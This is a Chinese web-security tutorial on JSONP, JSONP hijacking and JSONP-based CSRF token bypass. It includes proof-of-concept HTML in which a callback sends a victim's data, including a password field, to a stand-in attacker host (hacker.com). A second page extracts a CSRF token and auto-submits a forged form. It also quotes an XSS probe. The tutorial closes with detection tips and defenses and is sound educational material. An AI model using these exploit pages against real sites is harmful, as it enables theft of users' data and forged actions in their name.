JSONP介绍

说起跨域请求资源的方法,最常见的方法是JSONP/CORS。下面以具体的例子介绍一下JSONP的工作原理。

JSONP全称是JSON with Padding ,是基于JSON格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了HTML里script元素标签没有跨域限制

JSONP原理就是动态插入带有跨域url的script标签,然后调用回调函数,把我们需要的json数据作为参数传入,通过一些逻辑把数据显示在页面上。

比如通过script访问http://www.test.com/index.html?jsonpcallback=callback, 执行完script后,会调用callback函数,参数就是获取到的数据。

原理很简单,在本地复现一下,首先新建callback.php:

<!-- callback.php -->

<?php
    header('Content-type: application/json');
    $callback = $_GET["callback"];
    //json数据
    $json_data = '{"customername1":"user1","password":"12345678"}';
    //输出jsonp格式的数据
    echo $callback . "(" . $json_data . ")";
?>

然后新建test.html:

<!-- test.html -->

<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
    alert(obj["password"]);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/callback.php?callback=hehehe"></script>
</body>
</html>

我们访问test.html,页面会执行script,请求http://localhost/callback.php?callback=hehehe,然后将请求的内容作为参数,执行hehehe函数,hehehe函数将请求的内容alert出来。最终的结果如下

这样我们就实现了通过js操作跨域请求到的资源,绕过了同源策略。

但是伴随着业务的发展总会出现安全问题,JSONP使用不当也会造成很多安全问题。

JSONP劫持

对于JSONP传输数据,正常的业务是用户在B域名下请求A域名下的数据,然后进行进一步操作。

但是对A域名的请求一般都需要身份验证,hacker怎么去获取到这些信息呢,我们可以自己构造一个页面,然后诱惑用户去点击,在这个页面里,我们去请求A域名资源,然后回调函数将请求到的资源发回到hacker服务器上。

没错JSONP劫持类似于CSRF漏洞,步骤大概如下图(来自参考文章1)所示:

利用代码如下所示:

<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
    var myForm = document.createElement("form");
    myForm.action="http://hacker.com/redirect.php";
    myForm.method = "GET";  
    for ( var k in obj) {  
        var myInput = document.createElement("input");  
        myInput.setAttribute("name", k);  
        myInput.setAttribute("value", obj[k]);  
        myForm.appendChild(myInput);  
    }  
    document.body.appendChild(myForm);  
    myForm.submit();  
    document.body.removeChild(myForm);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/callback.php?callback=hehehe"></script>
</body>
</html>

诱惑用户访问此html,会以用户的身份访问http://localhost/callback.php?callback=hehehe,拿到敏感数据,然后执行hehehe函数,将数据发送给http://hacker.com/redirect.php。抓包可以拦截到如下请求包:

GET /redirect.php?customername1=user1&password=12345678 HTTP/1.1
Host: hacker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.133.136.120/test.html
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

hacker只需要在redirect.php里,将数据保存下来,然后重定向到baidu.com,堪称一次完美的JSONP劫持。

利用JSONP绕过token防护进行csrf攻击

具体的实例可以看看参考文章2,3。

通过上面例子,我们知道JSONP可以获取敏感的数据,在某些情况下,还可以利用JSONP劫持绕过token限制完成csrf攻击。

假设有个场景是这样:服务端判断接收到的请求包,如果含有callback参数就返回JSONP格式的数据,否则返回正常页面。代码如下:test.php

<!-- callback.php -->

<?php
    header('Content-type: application/json');
    //json数据
    $json_data = '{"customername1":"user1","password":"12345678"}';
    if(isset($_GET["callback"])){
        $callback = $_GET["callback"];
        //如果含有callback参数,输出jsonp格式的数据
        echo $callback . "(" . $json_data . ")";
    }else{
        echo $json_data;
    }
?>

对于场景,如果存在JSONP劫持劫持,我们就可以获取到页面中的内容,提取出csrf_token,然后提交表单,造成csrf漏洞。示例利用代码如下(来自参考文章2):

<html>
<head>
<title>test</title>
<meta charset="utf-8">
</head>
<body>
<div id="test"></div>
<script type="text/javascript">
function test(obj){
    // 获取对象中的属性值
    var content = obj['html']
    // 正则匹配出参数值
    var token=content.match('token = "(.*?)"')[1];
    // 添加表单节点
    var parent=document.getElementById("test");
    var child=document.createElement("form");
    child.method="POST";
    child.action="http://vuln.com/del.html";
    child.id="test1"
    parent.appendChild(child);
    var parent_1=document.getElementById("test1");
    var child_1=document.createElement("input");
    child_1.type="hidden";child_1.name="token";child_1.value=token;
    var child_2=document.createElement("input");
    child_2.type="submit";
    parent_1.appendChild(child_1);
    parent_1.appendChild(child_2);
}
</script>
<script type="text/javascript" src="http://vuln.com/caozuo.html?htmlcallback=test"></script>
</body>
</html>

htmlcallback返回一个对象obj,以该对象作为参数传入test函数,操作对象中属性名为html的值,正则匹配出token,再加入表单,自动提交表单完成操作,用户点击该攻击页面即收到csrf攻击。

JSONP劫持挖掘与防御

对于漏洞挖掘,我们首先需要尽可能的找到所有的接口,尤其是返回数据格式是JSONP的接口。(可以在数据包中检索关键词callback json jsonp email等,也可以加上callback参数,观察返回值是否变化)。

找到接口之后,还需要返回值包含敏感信息,并且能被不同的域的页面去请求获取(也就是是否存在refer限制,实际上,如果接口存在refer的限制,也是有可能被绕过的,计划以后的文章中再说)

对于JSONP劫持的防御,其实类似于csrf的防御。以下来源于参考文章4:

  • 限制来源refer
  • 按照JSON格式标准输出(设置Content-Type : application/json; charset=utf-8),预防http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>形式的xss
  • 过滤callback函数名以及JSON数据输出,预防xss

参考

  • JSONP 劫持原理与挖掘方法
  • JSONP绕过CSRF防护token
  • 分享一个jsonp劫持造成的新浪某社区CSRF蠕虫
  • JSONP 安全攻防技术

总结

到此这篇关于jsonp简单介绍以及其安全风险的文章就介绍到这了,更多相关jsonp安全风险内容请搜索Devmax以前的文章或继续浏览下面的相关文章希望大家以后多多支持Devmax!

jsonp的简单介绍以及其安全风险的更多相关文章

  1. PHP实现文件安全下载

    例如你希望客户要填完一份表格,才可以下载某一文件,你第一个想法一定是用"Redirect"的方法,先检查表格是否已经填写完毕和完整,然后就将网址指到该文件,这样客户才能下载,但如果你想做一个关于"网上购物"的电子商务网站,考虑安全问题,你不想用户直接复制网址下载该文件,笔者建议你使用PHP直接读取该实际文件然后下载的方法去做。feof){echofread;}fclose;}这样就可以用PHP直接输出文件了。

  2. 简单易懂的JSONP和CORS跨域方案详解

    这篇文章主要为大家介绍了简单易懂的JSONP和CORS跨域方案详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪

  3. JSONP之我见

    本文主要向大家介绍了个人对于jsonp的理解,jsonp的概念,跨域问题,以及jsonp与XMLHttpRequest的区别,由于本人也是javascript的初学者,难免会有些不当之处,还请指正,谢谢。

  4. PHP安全之register_globals的on和off的区别

    这篇文章主要介绍了PHP安全之register_globals的on和off的区别,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧

  5. AJax与Jsonp跨域访问问题小结

    本文给大家汇总介绍了JavaScript的AJax,JQuery的AJax以及利用jsonp实现跨域访问的问题,非常的细致全面,有需要的小伙伴可以参考下。

  6. JavaEE线程安全定时器模式任务

    这篇文章主要介绍了JavaEE线程安全定时器模式任务,定时器模式像是一个闹钟定时,在一定时间之后被唤醒并执行某个之前设定好的任务,感兴趣的小伙伴可以参考一下

  7. jsonp的简单介绍以及其安全风险

    JSONP原理就是动态插入带有跨域url的script标签,然后调用回调函数,把我们需要的json数据作为参数传入,通过一些逻辑把数据显示在页面上,这篇文章主要给大家介绍了关于jsonp的简单介绍以及其安全风险的相关资料,需要的朋友可以参考下

  8. 一文看懂JSONP原理和应用

    这篇文章主要介绍了一文看懂JSONP原理和应用,对JSONP感兴趣的同学,可以参考下

  9. 服务端nodejs抓取jsonp接口数据实现示例

    这篇文章主要为大家介绍了服务端nodejs抓取jsonp接口数据实现示例详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪

  10. 如何让PHP的代码更安全

    虽然PHP是世界上最好的语言,但是也有一些因为弱类型语言的安全性问题出现。针对于PHP代码开发的网站,在给客户做网站安全检测的同时,大大小小的都会存在网站的后台管理页面被绕过并直接登录后台的漏洞,而且每个网站的后台被绕过的方式都不一样。本文将讨论此问题。

随机推荐

  1. js中‘!.’是什么意思

  2. Vue如何指定不编译的文件夹和favicon.ico

    这篇文章主要介绍了Vue如何指定不编译的文件夹和favicon.ico,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教

  3. 基于JavaScript编写一个图片转PDF转换器

    本文为大家介绍了一个简单的 JavaScript 项目,可以将图片转换为 PDF 文件。你可以从本地选择任何一张图片,只需点击一下即可将其转换为 PDF 文件,感兴趣的可以动手尝试一下

  4. jquery点赞功能实现代码 点个赞吧!

    点赞功能很多地方都会出现,如何实现爱心点赞功能,这篇文章主要为大家详细介绍了jquery点赞功能实现代码,具有一定的参考价值,感兴趣的小伙伴们可以参考一下

  5. AngularJs上传前预览图片的实例代码

    使用AngularJs进行开发,在项目中,经常会遇到上传图片后,需在一旁预览图片内容,怎么实现这样的功能呢?今天小编给大家分享AugularJs上传前预览图片的实现代码,需要的朋友参考下吧

  6. JavaScript面向对象编程入门教程

    这篇文章主要介绍了JavaScript面向对象编程的相关概念,例如类、对象、属性、方法等面向对象的术语,并以实例讲解各种术语的使用,非常好的一篇面向对象入门教程,其它语言也可以参考哦

  7. jQuery中的通配符选择器使用总结

    通配符在控制input标签时相当好用,这里简单进行了jQuery中的通配符选择器使用总结,需要的朋友可以参考下

  8. javascript 动态调整图片尺寸实现代码

    在自己的网站上更新文章时一个比较常见的问题是:文章插图太宽,使整个网页都变形了。如果对每个插图都先进行缩放再插入的话,太麻烦了。

  9. jquery ajaxfileupload异步上传插件

    这篇文章主要为大家详细介绍了jquery ajaxfileupload异步上传插件,具有一定的参考价值,感兴趣的小伙伴们可以参考一下

  10. React学习之受控组件与数据共享实例分析

    这篇文章主要介绍了React学习之受控组件与数据共享,结合实例形式分析了React受控组件与组件间数据共享相关原理与使用技巧,需要的朋友可以参考下

返回
顶部